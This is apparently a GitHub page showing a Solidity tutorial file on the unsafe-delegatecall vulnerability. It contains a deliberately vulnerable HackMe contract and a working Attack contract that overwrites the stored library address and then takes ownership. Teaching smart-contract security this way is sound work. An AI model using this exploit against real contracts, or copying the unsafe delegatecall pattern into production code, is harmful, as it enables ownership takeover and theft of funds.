-
Notifications
You must be signed in to change notification settings - Fork 0
/
UnsafeDelegatecall.sol
62 lines (49 loc) · 1.37 KB
/
UnsafeDelegatecall.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
/*
Unsafe delegatecall
What is delegatecall?
A -> B
run your code inside my context (storage, msg.sender, msg.value, msg.data, etc...)
1. delegatecall preserves context
2. storage layout must be the same for A and B
Vulnerability
2 Examples (part 1 and part 2)
Example 1 - Code and demo
*/
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2
constructor(address _lib) public {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2
HackMe public hackMe; // slot 3
constructor(HackMe _hackMe) public {
hackMe = HackMe(_hackMe);
}
function attack() public {
hackMe.doSomething(uint(address(this)));
hackMe.doSomething(1);
}
function doSomething(uint _num) public {
// Attack -> HackMe --- delegatecall ----> Attack
// msg.sender = Attack. msg.sender = Attack
owner = msg.sender;
}
}